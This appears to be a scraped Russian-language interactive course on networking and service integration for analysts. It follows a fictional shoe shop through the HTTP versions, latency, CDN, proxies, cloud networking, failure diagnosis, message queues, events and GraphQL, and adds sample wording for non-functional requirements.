Безопасный — не меняет данные на сервере. Идемпотентный — повторить можно сколько угодно раз, результат тот же. Именно идемпотентные запросы разрешено повторять автоматически и отправлять в 0-RTT. Подробно про контракты API — в следующих разделах.

Как увидеть водопад без браузера: curl

Разработчик или аналитик может за секунду снять те же фазы, что на пульте из главы 2. Все времена — от начала запроса, нарастающим итогом.

$ curl -o /dev/null -s -w "@fmt.txt" https://botinok.ru/Скачать главную, тело выбросить, напечатать время фаз по шаблону.
time_namelookup: 0.052DNS закончился на 52-й миллисекунде.
time_connect: 0.107TCP-рукопожатие: 107 − 52 = 55 мс, то есть один круг.
time_appconnect: 0.163TLS готов: ещё 56 мс — ещё один круг (TLS 1.3).
time_starttransfer: 0.391Первый байт ответа (TTFB): 228 мс после TLS — круг плюс работа сервера.
time_total: 0.418Всё скачано. Из 418 мс сервер «думал» от силы 170, остальное — сеть.

Три поколения: HTTP/1.1, HTTP/2, HTTP/3

HTTP/1.1 (1997, сейчас RFC 9112)

Текстовый. По одному соединению — один запрос за раз: следующий только после ответа на предыдущий. Соединение держится открытым (keep-alive). Чтобы качать параллельно, браузеры открывают до 6 соединений на сайт — и каждое платит за рукопожатия и медленный старт.

HTTP/2 (2015, сейчас RFC 9113)

Двоичный. Одно соединение, внутри много независимых потоков (streams): десятки запросов летят одновременно, ответы нарезаются на кадры и перемешиваются. Заголовки сжимаются (HPACK, RFC 7541): повторяющиеся cookie и User-Agent не гоняются каждый раз заново. Слабое место — TCP под ним.

HTTP/3 (2022, RFC 9114)

Работает поверх QUIC (RFC 9000) — транспорта на UDP со встроенным TLS 1.3. Потоки независимы уже на транспортном уровне. Соединение и шифрование — за один круг, повторно — за ноль. Соединение переживает смену сети: Wi-Fi → 4G без переподключения.

HTTP/2: много запросов в одной трубе

Блокировка очереди: три протокола, одна беда

Блокировка начала очереди (head-of-line blocking, HOL) — когда одно застрявшее сообщение задерживает все, что стоят за ним, хотя они сами готовы.
одна касса в магазине. Покупатель впереди ищет по карманам мелочь — и вся очередь стоит, хотя у остальных всё давно в руках.

Браузер качает три файла: стили (CSS), скрипт (JS) и картинку (IMG), по три пакета каждый. Выберите беду и посмотрите, как с ней справится каждая версия HTTP. Клетка — один момент времени.

CSSJSIMG✕ — пакет потерян↻ — пришёл повторпакет уже пришёл, но ждёт в буфере

Сравнение версий

HTTP/3 — не волшебная кнопка. Он ходит по UDP, а корпоративные сети и старые файрволы UDP-порт 443 иногда режут. Браузер тогда тихо откатывается на HTTP/2 — поэтому сервер обязан поддерживать оба. На хорошей проводной сети выигрыш HTTP/3 невелик; заметен он на мобильной связи с потерями и при переключении сетей.
  • «Публичные точки входа поддерживают HTTP/2; HTTP/3 включается на CDN с откатом на HTTP/2».
  • «Статические файлы отдаются со сжатием (Brotli или gzip) и заголовками кеширования; имена файлов содержат хеш версии».
  • «Автоматические повторы — только для идемпотентных методов (GET, PUT, DELETE) или запросов с ключом идемпотентности».

глава 9 · задержка физика не договаривается: RTT, скорость света и «много мелких запросов»

Мы уже много раз сказали «круг туда-обратно». Пора его измерить — и понять, почему никакой бюджет не сделает страницу из Москвы в Нью-Йорке быстрой без переноса данных ближе к Анне.

RTT (round-trip time, время кругового обхода) — сколько проходит от отправки пакета до получения ответа на него, без учёта работы сервера. Каждое рукопожатие и каждый последовательный запрос стоят минимум один RTT.
Задержка (latency) и пропускная способность (bandwidth) — разные вещи. Задержка — сколько едет один пакет. Пропускная способность — сколько данных помещается в канал за секунду. Купить можно вторую. Первую определяют расстояние и число кругов.
шоссе Москва — Новосибирск. Можно сделать его в десять полос — и за час проедет в десять раз больше машин. Но каждая машина всё равно едет двое суток. Если вам нужно передать одну записку и дождаться ответа, число полос не поможет.

Скорость света в оптоволокне

Сигнал в стекле идёт примерно в полтора раза медленнее, чем свет в вакууме: около 200 000 км/с. Значит, 1 миллисекунда на каждые 200 км в одну сторону, или 1 мс RTT на каждые 100 км расстояния. Это теоретический минимум. Настоящий кабель идёт не по прямой, а по дорогам и дну морей, и по пути стоят маршрутизаторы — реальный RTT обычно в 1,5–2 раза больше.

Москва ↔ Новосибирск

≈2 800 км по прямой. Минимум по свету — ≈28 мс RTT. На практике — 40–60 мс.

Москва ↔ Владивосток

≈6 400 км. Минимум — ≈64 мс. На практике — больше 100 мс. НФТ «ответ за 100 мс по всей России» с одним ДЦ в Москве невыполним физически.

Москва ↔ Нью-Йорк

≈7 500 км. Минимум — ≈75 мс. На практике — 110–130 мс. Пять последовательных кругов — уже больше полсекунды.

Калькулятор: сколько стоят круги

Задайте расстояние, число сетевых обращений и способ их делать. Калькулятор посчитает минимально возможное время — быстрее не будет ни при каком железе.

2 800 км
1,6 раза
12
20 мс
Последняя миля
Как делаются обращения

Числа, которые полезно знать

Это порядки величин, а не точные цифры: они зависят от железа, провайдера и нагрузки. Но разница между строками — в разы и в тысячи раз — держится годами.

ЧтоСколько, по порядку величиныЕсли 1 наносекунду растянуть до 1 секунды
Вызов функции внутри процессананосекундысекунды
Чтение из оперативной памяти≈100 нс≈2 минуты
Случайное чтение с SSDдесятки микросекундчасы — сутки
Круг внутри одного дата-центра0,1–0,5 мс1–6 суток
Круг между зонами доступности одного облачного регионаобычно около 1 мс, до единиц мс≈2 недели
Круг по городу по проводу1–5 мс2–8 недель
Добавка 4G к каждому кругу+20–50 мс, при плохом сигнале — сотниот 8 месяцев до 1,5 лет
Москва ↔ Новосибирск40–60 мс1,3–1,9 года
Москва ↔ Нью-Йорк110–130 мс3,5–4 года
Холодный DNS-запросдесятки–сотни мсгоды
TLS 1.3 поверх TCP для нового соединения+1 RTT к TCP-рукопожатиюещё столько же, сколько круг

Почему много мелких запросов хуже одного

Экран «Мои заказы» в мобильном приложении «Ботинка» делает 12 запросов по очереди: профиль, потом список заказов, потом по запросу на каждый заказ. На офисном Wi-Fi это 12 × 5 мс = 60 мс — никто не замечает. У Анны на 4G в Новосибирске круг — 90 мс, и те же 12 запросов стоят больше секунды чистого ожидания. Сервер при этом не тормозит вовсе.

Что помогает

Один укрупнённый запрос вместо двенадцати мелких — через BFF или пакетный метод API (см. ). Параллельные запросы вместо последовательных. HTTP/2 и HTTP/3, чтобы параллельность была дешёвой. Данные ближе к пользователю: CDN и кеш ().

Что не помогает

Более мощный сервер: он и так отвечает за 20 мс. Более широкий канал: ответы маленькие, упираемся в задержку, а не в полосу. Сжатие: байт и так мало, мешают круги.

  • «Экран мобильного приложения загружается не более чем двумя последовательными сетевыми обращениями к бэкенду».
  • «Время ответа указывается для конкретной географии и профиля сети: “p95 ≤ 1,5 с для пользователей в РФ на 4G”, а не “страница открывается за 1 с”».

глава 10 · посредники CDN, anycast, прокси и WebSocket

Физику не обмануть, но можно сократить путь: поставить «представительство» рядом с Анной. А ещё между Анной и сервером почти всегда стоят посредники — и каждый влияет на скорость, безопасность и долгие соединения.

CDN: склад в каждом городе

CDN (content delivery network, сеть доставки контента) — сотни серверов по миру (края, edge), которые хранят копии файлов сайта и отвечают пользователям из ближайшего места. Главный сервер сайта, откуда края берут оригиналы, называется origin («источник»).
интернет-магазин держит склады в каждом крупном городе. Популярные кроссовки лежат рядом с Анной и приезжают за день. Редкую модель везут с центрального склада в Москве — неделю. А индивидуальный заказ с гравировкой всегда делают в Москве.

Попадание (hit)

Файл есть на краю и не протух — ответ за один короткий круг. Для картинок и скриптов это 95–99 % запросов.

Промах (miss)

Файла на краю нет или истёк срок. Край идёт за ним на origin — по заранее открытому соединению — и кладёт себе. Первый пользователь ждёт дольше, следующие — нет.

Инвалидация

Файл поменяли — копии на сотнях краёв устарели. Можно разослать «сбросить» (purge), но надёжнее менять имя: app.3f9a1c.js → app.b27e40.js. Подробно — в .

CDN ускоряет даже то, что не кеширует. Персональный HTML Анны край не хранит, но рукопожатия TCP и TLS идут до края в её городе, а дальше запрос едет в Москву по «тёплому» соединению — без новых рукопожатий. Вы это видели на пульте: из Нью-Йорка первый байт с CDN приходит в разы быстрее. Плюс CDN принимает на себя волны трафика и атаки на отказ в обслуживании.

Anycast: один адрес — сто точек

Anycast — один и тот же IP-адрес объявляется в интернете из многих мест сразу. Маршрутизаторы сами доставляют пакет в ближайшую по сети точку. Так работают корневые DNS-серверы, публичные резолверы и CDN.
единый номер такси по всей стране. Номер один, а звонок из Новосибирска попадает в новосибирскую диспетчерскую, из Казани — в казанскую. Если новосибирская закрылась, звонки сами пойдут в соседнюю.

«Ближайшая» здесь — по маршрутам провайдеров, а не по карте: иногда пакет из Новосибирска попадает в московскую точку. Зато переключение при отказе точки происходит за секунды на уровне маршрутизации, без ожидания TTL в DNS.

Тренажёр: что отдавать с CDN?

Решите для каждого адреса «Ботинка», как с ним поступит CDN. Решено 0 из 0.

Прямой и обратный прокси

Прокси (proxy) — посредник, который принимает запрос вместо адресата и сам делает запрос дальше. Различают, на чьей он стороне.

➡ Прямой прокси (forward proxy)

Стоит на стороне клиентов. Все исходящие запросы компании идут через него: контроль, журнал, фильтрация. Для интеграций важно: сервис в закрытом контуре банка ходит к внешнему API партнёра только через корпоративный прокси — это надо заложить в настройки и сроки.

секретарь, через которого сотрудники отправляют всю внешнюю почту.

⬅ Обратный прокси (reverse proxy)

Стоит на стороне серверов и представляется сайтом. Снимает TLS, раскидывает запросы по серверам, сжимает, кеширует, ограничивает частоту, прячет внутреннее устройство. Примеры: nginx, Envoy, HAProxy, Traefik. Балансировщик L7 и шлюз API — частные случаи.

ресепшен бизнес-центра: гости видят только его, а он знает, в какой кабинет вести.

WebSocket: как превратить запрос в открытую линию

WebSocket (RFC 6455) — двусторонний канал поверх одного TCP-соединения. Начинается как обычный HTTP-запрос с просьбой «перейти на другой протокол», а после ответа 101 обе стороны могут слать сообщения в любой момент. Это и есть способ «достучаться до Анны» за NAT: соединение открыла она сама.

Долгие соединения и балансировщики: тихий обрыв

Анна открыла чат с поддержкой и ждёт, когда курьер напишет. Соединение молчит. Между Анной и сервером — балансировщик, у которого есть таймаут простоя (idle timeout): соединение, по которому давно ничего не ходило, он закрывает. У многих балансировщиков и у nginx по умолчанию это 60 секунд. Подберите настройки так, чтобы сообщения курьера доходили.

60 с
не шлёт

Неравномерность

Долгие соединения «прилипают» к узлам. Добавили два новых сервера — а старые соединения остались на старых, новые узлы простаивают. Помогает ограниченный срок жизни соединения и переподключение клиентов.

Выкатка

Остановка узла рвёт тысячи WebSocket разом — и все клиенты одновременно переподключаются. Нужны плавный вывод узла (drain) и переподключение со случайной паузой. См. .

Цена пингов

100 000 открытых чатов с пингом каждые 20 секунд — это 5 000 служебных сообщений в секунду. Пинг должен быть реже таймаута, но не чаще необходимого.

  • «Статика (скрипты, стили, картинки, шрифты) отдаётся через CDN; имена файлов версионируются; доля попаданий в кеш CDN — не ниже 95 %».
  • «Канал уведомлений — WebSocket с пингом каждые 30 с и таймаутом простоя на балансировщике не менее 120 с; клиент переподключается с паузой 1–30 с со случайным разбросом».
  • «Исходящие вызовы к внешним партнёрам идут через корпоративный прокси; адрес прокси — параметр конфигурации».

глава 11 · облако сеть в облаке и дата-центре: VPC, подсети, NAT-шлюз, Kubernetes

«Ботинок» переехал в облако. Серверы стали виртуальными, провода — программными. Но законы те же: адреса, маршруты, порты, кто кого пускает. Только теперь всё это настраивается в консоли или коде — и ошибиться можно одной галочкой.

VPC (virtual private cloud, виртуальная частная сеть) — ваша изолированная сеть внутри облака со своим диапазоном частных адресов. Чужие машины облака в неё не видят, пока вы сами не откроете доступ.
огороженная территория бизнес-парка. Внутри — корпуса и этажи, свои дорожки. Снаружи попасть можно только через проходную, которую вы построили.

Подсеть (subnet)

Кусок адресов VPC в одной зоне доступности. Публичная — в её таблице маршрутов есть выход в интернет через интернет-шлюз; там живут балансировщики. Частная — выхода наружу нет; там живут сервисы и базы.

Зона доступности (availability zone)

Отдельный дата-центр (или группа) внутри региона облака со своим питанием и охлаждением. Зоны одного региона разнесены на километры — обычно до ~100 км — и связаны быстрой оптикой: круг около миллисекунды. Два узла в разных зонах переживают пожар в одной.

Группа безопасности (security group)

Файрвол на уровне отдельной машины: список «кого пускать, на какой порт». Всё, что не разрешено, запрещено. Помнит соединения: если запрос разрешён, ответ на него пройдёт сам. Есть ещё сетевые списки доступа на подсеть — они соединений не помнят.

NAT-шлюз (NAT gateway)

Даёт машинам частной подсети ходить наружу (к платёжному API, за обновлениями), но не пускает никого внутрь. Тот самый NAT из главы 4, только облачный и за деньги — трафик через него тарифицируется.

Частная точка доступа (private endpoint)

Облачный сервис (хранилище файлов, управляемая база, очередь) получает адрес прямо в вашей VPC. Трафик не выходит в интернет и не идёт через NAT-шлюз. У провайдеров называется по-разному: VPC endpoint и PrivateLink, Private Endpoint, Private Service Connect.

Балансировщик на входе

Единственное, что смотрит в интернет. Принимает 443, снимает TLS и отправляет запросы в частные подсети. Сервисы и базы публичных адресов не имеют вообще. См. .

Тренажёр: настройте сеть «Ботинка»

Ниже — сеть магазина в облаке и шесть путей, которые должны работать (или, наоборот, не должны). Переключайте настройки и добейтесь, чтобы все шесть строк стали зелёными.

Группа безопасности базы пускает на 5432
Где стоит база
NAT-шлюз
Частная точка доступа к хранилищу
ПутьКак надоСейчасПочему

Сеть в Kubernetes — коротко

Если сервисы «Ботинка» живут в Kubernetes, поверх облачной сети появляется ещё один слой. Подробно — в , а здесь — то, что влияет на запрос Анны.

У каждого пода свой IP

Под (pod) — группа контейнеров с общим сетевым адресом. Поды пересоздаются и меняют адреса, поэтому по IP к ним не ходят никогда.

Service — постоянное имя и адрес

Service даёт стабильный виртуальный адрес и DNS-имя вида orders.shop.svc.cluster.local и раскидывает соединения по живым подам. Раскидывает по соединениям, а не по запросам: долгие соединения HTTP/2 и gRPC могут «прилипнуть» к одному поду.

Внутренний DNS (CoreDNS)

Короткое имя orders превращается в полное через список суффиксов поиска. По умолчанию имя с менее чем пятью точками сначала перебирается по суффиксам — и каждый внешний адрес вроде api.partner.ru может породить несколько лишних DNS-запросов. При большой нагрузке это заметно.

Сетевые политики и вход

NetworkPolicy — правила «какой под с каким может говорить» (как группы безопасности, но для подов; работают, если их поддерживает сетевой плагин кластера). Снаружи трафик заходит через Ingress или Gateway API. Шифрование между подами часто даёт сервисная сетка ().

  • «Базы данных и внутренние сервисы не имеют публичных адресов. Доступ к базе — только от группы безопасности сервиса-владельца, по порту 5432».
  • «Обращения к объектному хранилищу идут через частную точку доступа, без выхода в интернет».
  • «Сервис развёрнут минимум в двух зонах доступности; синхронные вызовы внутри запроса по возможности не пересекают зоны».

глава 12 · сбои сетевой доктор: по симптому найти, где сломалось

Понедельник, 10:05. В чат поддержки пишут: «сайт не работает». Для покупателя это одно и то же. Для инженера «connection refused», «timeout», «502» и «NXDOMAIN» — четыре разных места поломки и четыре разные команды, которых надо будить. Выберите симптом — доктор покажет, какое звено на пути запроса сломано, как это проверить и что написать в требованиях.

Изучено симптомов: 0 из 0.

Отказ или тишина: главное различие

🚫 Connection refused — быстро и честно

Компьютер по адресу жив и ответил: «на этот порт никто не слушает» (TCP-пакет RST). Ошибка приходит за один круг. Ищите: процесс упал, слушает другой порт или только 127.0.0.1.

⏳ Timeout — долго и непонятно

Ответа нет вообще. Пакет выбросил файрвол, машина выключена, маршрута нет. Клиент повторяет рукопожатие с растущими паузами. Без своего таймаута на соединение Linux сдаётся примерно через 2 минуты (6 повторов SYN) — и всё это время поток клиента занят.

Когда кончаются порты: посчитайте сами

Сервис «Ботинка» на каждый вызов платёжного шлюза открывает новое соединение и закрывает его. Закрывший держит четвёрку в TIME_WAIT 60 секунд, а портов у клиента к одному адресу — около 28 тысяч (32 768–60 999 в Linux).

200

Тренажёр: чей это лог?

Перед вами строки из логов и консоли. Определите, какое звено сломано. Решено 0 из 0.

Что писать в требованиях про сетевые сбои

Сеть сломается обязательно — вопрос, как поведёт себя система. Требования к таймаутам, повторам и деградации подробно разобраны в . Сетевая часть — такая:

  • «Для каждого исходящего вызова заданы три таймаута: на установку соединения (например, 1 с), на ответ (от p99 соседа с запасом) и на операцию целиком с учётом повторов».
  • «При ошибках соединения (отказ, таймаут соединения, сброс) допускается не более 2 повторов с растущей паузой и разбросом — только для идемпотентных операций».
  • «Пользователь при недоступности сервиса видит понятное сообщение и может повторить действие; введённые данные не теряются».
  • «Логи ошибок вызовов содержат имя адресата, разрешённый IP, фазу (DNS, соединение, TLS, ответ) и время каждой фазы».

глава 13 · аналитику сеть в требованиях: как Олегу написать выполнимое НФТ

Вспомним завязку: Олег написал «страница каталога открывается не дольше чем за 1 секунду». Борис в Москве уложился в 0,4 с. Анна в Новосибирске — нет. Кто прав? Никто: требование непроверяемо. Не сказано, для кого, откуда, по какой сети, что значит «открывается» и в каком проценте случаев.

Что такое «открывается»

TTFB (time to first byte) — пришёл первый байт HTML: сеть + сервер. LCP (largest contentful paint) — отрисован главный элемент экрана: то, что видит человек. Полная загрузка — пришло всё. Для API — время ответа на запрос. Выберите одно и назовите его прямо.

Для кого и в каком проценте

Не «среднее», а перцентиль: «p75 ≤ 2,5 с» означает, что у 3 из 4 визитов быстрее. Ориентиры Google для сайтов: LCP ≤ 2,5 с и TTFB ≤ 0,8 с у 75 % визитов считаются хорошими. Разделяйте регионы и типы сети: у Москвы и Владивостока разные цели.

Как мерить

У реальных пользователей (RUM — скрипт на странице отправляет замеры) — это правда. Синтетикой из точек в нужных городах — это контроль и сравнение релизов. Замер «с ноутбука разработчика в офисе» ничего не доказывает.

На каком профиле тестировать

Зафиксируйте профиль: задержка, скорость, потери. Например: «4G: RTT 100 мс, 10 Мбит/с, потери 1 %». В DevTools браузера и в инструментах нагрузочного тестирования такие профили задаются одной настройкой.

Конструктор сетевых НФТ

Ответьте на три вопроса о вашем экране — конструктор предложит формулировки, которые можно проверить. Их всё равно нужно обсудить с архитектором: цифры — ориентир, а не закон.

Где пользователи
Как заходят
Что за экран
Выберите ответы и нажмите «Собрать требования».

Частые ошибки в требованиях, связанных с сетью

Вопросы, которые аналитику стоит задать архитектору

1
Где стоят серверы и где пользователи?Сколько кругов туда-обратно делает главный экран и сколько стоит каждый круг для дальних регионов.
2
Что отдаётся через CDN, а что всегда едет до origin?Персональные данные и корзина — всегда до origin. Значит, их время определяет расстояние.
3
Где завершается TLS и шифруется ли трафик внутри?От этого зависят требования безопасности и возможность маршрутизации по содержимому.
4
Какие таймауты на каждом звене и кто повторяет?Если повторяют и клиент, и шлюз, и сервис — повторы перемножаются.
5
Что будет при переезде на другой адрес?TTL, кто кеширует DNS, как долго живёт старый адрес.
6
Как интегрируемся с партнёром сетевым образом?Через интернет с mTLS, через VPN, через прокси; кто даёт адреса для списка разрешённых; кто продлевает сертификаты.

глава 14 · проверь себя путь запроса Анны: двенадцать вопросов

Вопросы — из жизни: разбор аварий, споры о требованиях, решения на ревью архитектуры. После ответа раскрывается подробное объяснение.

Решено 0 из 0.

Дальше → как сервисы договариваются между собой: синхронные вызовы и очереди, REST, gRPC, события и контракты

Сервисы — как люди в большой компании: каждый делает своё дело, но в одиночку заказ не соберёт никто. Им приходится договариваться. Можно позвонить и ждать ответа, можно оставить записку, можно повесить объявление для всех. В этом разделе мы проследим один заказ от нажатия кнопки до письма на почту и увидим, какой способ разговора где нужен и почему.

карта раздела как мы пойдём

Раздел — одна история. Мы начнём с конкретного заказа и будем спускаться всё глубже. Главы можно проходить по порядку или прыгать по кнопкам.

глава 1 · сюжет Анна покупает ботинки

Есть интернет-магазин «Ботинок». Раньше это была одна большая программа. Потом её разрезали на несколько сервисов — отдельных программ, у каждой своя задача и своя база данных. Сейчас нас интересуют четыре из них.

🧾

Заказы

Принимают заказ и следят, чтобы он дошёл до конца. Главный герой истории.

📦

Склад

Знает, сколько ботинок лежит на полках, и умеет отложить пару под заказ.

💳

Оплата

Списывает деньги с карты через банк. Работает медленнее всех.

✉️

Уведомления

Шлёт письма и пуши: «заказ оформлен», «курьер выехал».

Анна открывает приложение и нажимает «Оформить заказ». Сервис заказов не может выполнить заказ в одиночку. Ему надо поговорить со складом, с оплатой и с уведомлениями. Как именно — и есть тема раздела.

Определение. Способ связи — это правило, по которому один сервис передаёт другому просьбу или новость. Главное в нём — два вопроса. Ждёт ли отправитель ответа? Знает ли он, кому пишет? От ответов зависит, насколько быстро работает система и что с ней будет, когда один из сервисов упадёт.

Звучит абстрактно, поэтому сначала посмотрим на живой заказ. А пока — коротко о том, зачем в этом разбираться.

глава 2 · сквозной пример заказ Анны по шагам

Анна купила зимние ботинки за 4 200 ₽. Ниже — всё, что случилось в системе за этим нажатием. Жмите «Дальше»: на схеме подсветится, кто говорит (синяя рамка) и кто слушает (зелёная — ответ ждут, фиолетовая — не ждут). Справа — что именно ушло по сети, внизу — почему так.

что ушло по сети

глава 3 · на пальцах как договариваются люди

В заказе Анны мы видели два разных приёма: Заказы звонили складу и оплате и ждали, а про письмо просто сообщили и пошли дальше. Люди делают то же самое каждый день. Выберите ситуацию — она проиграется по шагам. Следите за левой колонкой: жёлтым отмечено время, когда вы заняты ожиданием.

🙋 Вы (отправитель)

Собеседник

Словарик: слова, которые будут дальше

Синхронно
Отправитель ждёт ответа и без него не продолжает. Как телефонный звонок.
Асинхронно
Отправитель отдал сообщение и занимается своими делами. Ответ, если он нужен, придёт потом. Как записка или сообщение в мессенджере.
Сообщение
Кусок данных, который один сервис передаёт другому: просьба или новость.
Брокер
Отдельная программа-посредник между сервисами, «почтовое отделение». Принимает сообщения, хранит, раздаёт получателям. Примеры: RabbitMQ, Kafka.
Очередь
Ящик в брокере, где сообщения ждут своего обработчика по порядку. Как очередь с талончиками в поликлинике.
Команда
Сообщение «сделай»: у него один адресат, и адресат может отказаться.
Событие
Сообщение «случилось»: факт в прошедшем времени, без адресата. Кому интересно — тот подписан.
Подписчик
Сервис, который сам попросил брокер присылать ему события определённого вида.

глава 4 · правило выбора два вопроса, которые выбирают способ

Все аналогии из прошлой главы раскладываются по двум вопросам. Ответьте на них за сервис заказов — и получите подходящий способ. Почти все ошибки в интеграции — это попытка решить задачу из одного угла средствами другого.

📞 Ждём ответ, знаем получателя — запрос-ответ

«Отложи товар», «сколько у меня денег?». REST, gRPC, GraphQL. Ответ нужен, чтобы продолжить работу.

Цена: вы зависите от того, жив ли получатель. Его задержка добавляется к вашей.

✉️ Не ждём, знаем получателя — команда в очередь

«Сформируй отчёт», «отправь письмо». Кладём задачу в очередь конкретному обработчику и идём дальше.

Цена: результат сразу неизвестен. Нужен способ его узнать: статус, обратный вызов или уведомление.

📢 Не ждём, не знаем получателей — событие

«Заказ оформлен». Публикуем факт, кому интересно — тот подписан. Отправитель про подписчиков не знает.

Цена: процесс целиком не виден ни в одном месте. Данные у соседей обновляются с задержкой. Повторы сообщений неизбежны, их надо уметь переживать.

❓ Ждём ответ, не знаем получателя — почти всегда ошибка

«Спрошу у всех, кто-нибудь да ответит». Встречается как «запрос-ответ через брокер» или рассылка вопроса всем.

Почему плохо: вы ждёте самого медленного, а при сбое непонятно, кого искать. Редкое исключение — поиск ближайшего живого узла.

Команда и событие — главная путаница. Команда — «сделай»: адресована одному, может получить отказ. Событие — «случилось»: адресовано никому конкретно, отклонить его нельзя, факт уже произошёл. Если назвать событие OrderShouldBeShipped («заказ надо отгрузить»), это на самом деле команда. Маскировка под факт лишает систему возможности вернуть отказ — его просто некому отправить.

глава 5 · симулятор цепочка звонков против очереди писем

Теперь проверим на практике, почему выбор важен. Представим два крайних варианта магазина.

  • Синхронно. Заказы по очереди звонят складу, оплате и уведомлениям и ждут каждого. Анна видит ответ, только когда ответили все трое.
  • Асинхронно. Заказы сохраняют заказ и кладут три сообщения в очереди — по одному на каждый сервис. Анна сразу видит «заказ принят», а сервисы разбирают свои очереди сами.

Кнопка под каждым сервисом меняет его состояние: работает → тормозит → лежит. Заказы ждут ответ не дольше 2,5 секунды. Это таймаут — предел ожидания, после которого вызов считается неудачным.

сколько Анна ждала ответа (последний заказ)

Что попробовать

Честная оговорка. В асинхронном режиме Анна видит не «оплачено», а «заказ принят, подтверждаем оплату». Это другой опыт для пользователя, и его надо проектировать: показывать статус, присылать уведомление, уметь отменить заказ, если оплата не прошла. Поэтому в реальных магазинах резерв товара часто делают синхронным, а письма и бонусы — асинхронными. Асинхронность не бесплатна, но она не даёт одному упавшему сервису уронить всё.

глава 6 · очередь изнутри талончики, подтверждения и неудачники

Вспомним поликлинику. Пациенты берут талоны, врачи вызывают по одному. Если пришло сразу много людей, очередь растёт, но никто не уходит ни с чем. Если открыть второй кабинет, очередь тает быстрее. Очередь сообщений устроена так же. Вот три её главных правила.

1. Очередь — буфер

Отправитель кладёт задачу и свободен. Пик в 12 задач не роняет обработчика: они подождут.

2. Подтверждение (ack)

Задача удаляется из очереди, только когда обработчик сказал «готово». Упал посреди работы — задача вернётся и достанется другому.

3. Очередь неудачников

Задача, которая падает раз за разом, после трёх попыток уезжает в отдельную очередь (dead letter queue, DLQ), чтобы не крутиться вечно.

Очередь email.send: каждое сообщение — просьба отправить письмо. Поиграйте с ней.

очередь email.send
обработчики
очередь неудачников (DLQ)

Что попробовать

Отсюда главное следствие. Раз упавший обработчик приводит к повторной доставке, одно и то же сообщение может прийти дважды. Брокеры честно обещают «хотя бы один раз» (at least once), а не «ровно один раз». Поэтому каждый обработчик обязан спокойно переживать повтор. Как — в главе 13.

глава 7 · события объявление для всех

Очередь — это записка конкретному адресату. Но бывают новости, которые нужны многим. «Заказ оформлен» интересен складу, уведомлениям, а завтра — аналитике, бонусам и антифроду (сервису, который ловит мошенников). Можно звонить каждому. А можно повесить объявление в чате дома: кому надо — прочитает.

Событие — сообщение о свершившемся факте. Издатель (тот, кто публикует) не знает подписчиков. Подписчик сам решает, читать или нет. Брокер вроде Kafka хранит события как журнал, и каждый подписчик держит свою закладку — номер последнего прочитанного (offset).

Включайте и выключайте подписчиков в двух режимах. Смотрите на счётчик правок в коде Заказов.

подписчики (нажмите, чтобы включить или выключить)
код сервиса заказов
журнал событий orders.events

Что попробовать

Команда, событие или запрос?

Отличайте по форме. Команда — повелительное наклонение, один адресат: «зарезервируй». Событие — прошедшее время, адресата нет: «оплачен». Запрос — вопрос, ничего не меняет: «сколько осталось?». Решено 0 из 0.

глава 8 · в движении как летят сообщения: восемь способов

Мы разобрались с идеей: звонок, записка, объявление. Теперь посмотрим на настоящие технологии. Для каждой — живая схема на примере магазина. Конверт ✉️ летит по стрелке от того, кто говорит, к тому, кто слушает. Под схемой — содержимое конверта: заголовки и тело, ровно то, что уходит по сети. Над участниками написано, кто ждёт и кто работает. Пунктирная полоса 🔌 показывает, что соединение между участниками открыто и держится.

✉️ что в конверте

глава 9 · GraphQL подробно кто решает, какие поля нужны

Частый вопрос: «В REST летит JSON, в GraphQL тоже летит JSON. В чём разница?» Разница не в формате, а в том, кто решает, что будет в ответе.

🍱 REST: комплексный обед

У сервера много адресов: /orders/77, /couriers/9. Каждый отдаёт свой фиксированный набор полей. Лишнее приходится выбрасывать (перевыборка, over-fetching). Недостающее — добирать новыми запросами (недовыборка, under-fetching).

🧑‍🍳 GraphQL: заказ à la carte

Адрес один: /graphql. У сервера есть схема — типизированное описание всех данных и связей между ними. Клиент присылает запрос в виде «формы» ответа, и сервер возвращает ровно её. Ни полем больше.

Экран «Мой заказ»: соберите его двумя способами

Отметьте галочками, какие данные нужны экрану. Слева — сколько запросов придётся сделать в REST и сколько там лишнего. Справа — один запрос GraphQL и ответ на него.

REST: какие запросы нужны
GraphQL: запрос

        
GraphQL: ответ — той же формы

      

Что внутри: схема и резолверы

Схема — контракт GraphQL: какие есть типы, поля и связи. Резолвер — маленькая функция, которая умеет достать одно поле. Сервер проходит по запросу клиента и для каждого поля вызывает его резолвер.

type Query {
  order(id: ID!): Order
}

type Order {
  id: ID!
  status: OrderStatus!
  total: Int!
  createdAt: String!
  items: [OrderItem!]!
  courier: Courier        # живёт в сервисе доставки
  customer: Customer!     # живёт в сервисе клиентов
}

type OrderItem {
  title: String!
  qty: Int!
  price: Int!
  photo: String
}

type Courier  { name: String!  phone: String  eta: String }
type Customer { name: String! }
const resolvers = {
  Query: {
    // GET /orders/:id в сервисе заказов
    order: (_, { id }) => ordersApi.get(id),
  },
  Order: {
    items:    o => ordersApi.items(o.id),
    // два вызова внутри: доставка → курьер
    courier:  o => delivery.courierFor(o.deliveryId),
    customer: o => customersApi.get(o.customerId),
  },
  OrderItem: {
    title: it => catalogLoader.load(it.sku)
                   .then(p => p.title),
  },
};

// Резолвер вызывается ТОЛЬКО для полей,
// которые клиент попросил.
// Не спросили courier — в доставку не ходим.
Важно понимать. GraphQL не отменяет походов между сервисами. Те же вызовы делает сервер — внутри дата-центра, близко и параллельно. Клиент же делает один запрос по медленной мобильной сети. Выигрыш — в числе походов по «длинному» участку и в объёме трафика.

Честные минусы

1. Проблема N+1. Экран «мои заказы» показывает 10 заказов и курьера у каждого. Резолвер courier вызывается для каждого заказа отдельно: 1 запрос за списком + 10 за курьерами. Лечится загрузчиком пачками — DataLoader: он копит вызовы и делает один общий.

2. Дорогие запросы. Клиент сам строит запрос, значит, может построить и очень тяжёлый: вложить списки друг в друга. Каждый уровень умножает число объектов. Двигайте глубину.

глубина вложенности2

      

3. Кеширование по HTTP не работает

В REST у каждого ресурса свой адрес, и прокси или браузер кешируют GET /orders/77 сами. В GraphQL всё идёт через один POST /graphql с разными телами. Стандартный кеш тут бессилен. Выручают сохранённые запросы (persisted queries) и кеш на клиенте — но это ещё работа.

4. Права доступа на уровне полей

В REST права проверяют на адресе: «этот эндпоинт — только для менеджеров». В GraphQL один адрес, а запрос может дотянуться через связи куда угодно: order → customer → phone. Права приходится проверять в каждом резолвере, иначе клиент вытащит чужой телефон через соседнее поле.

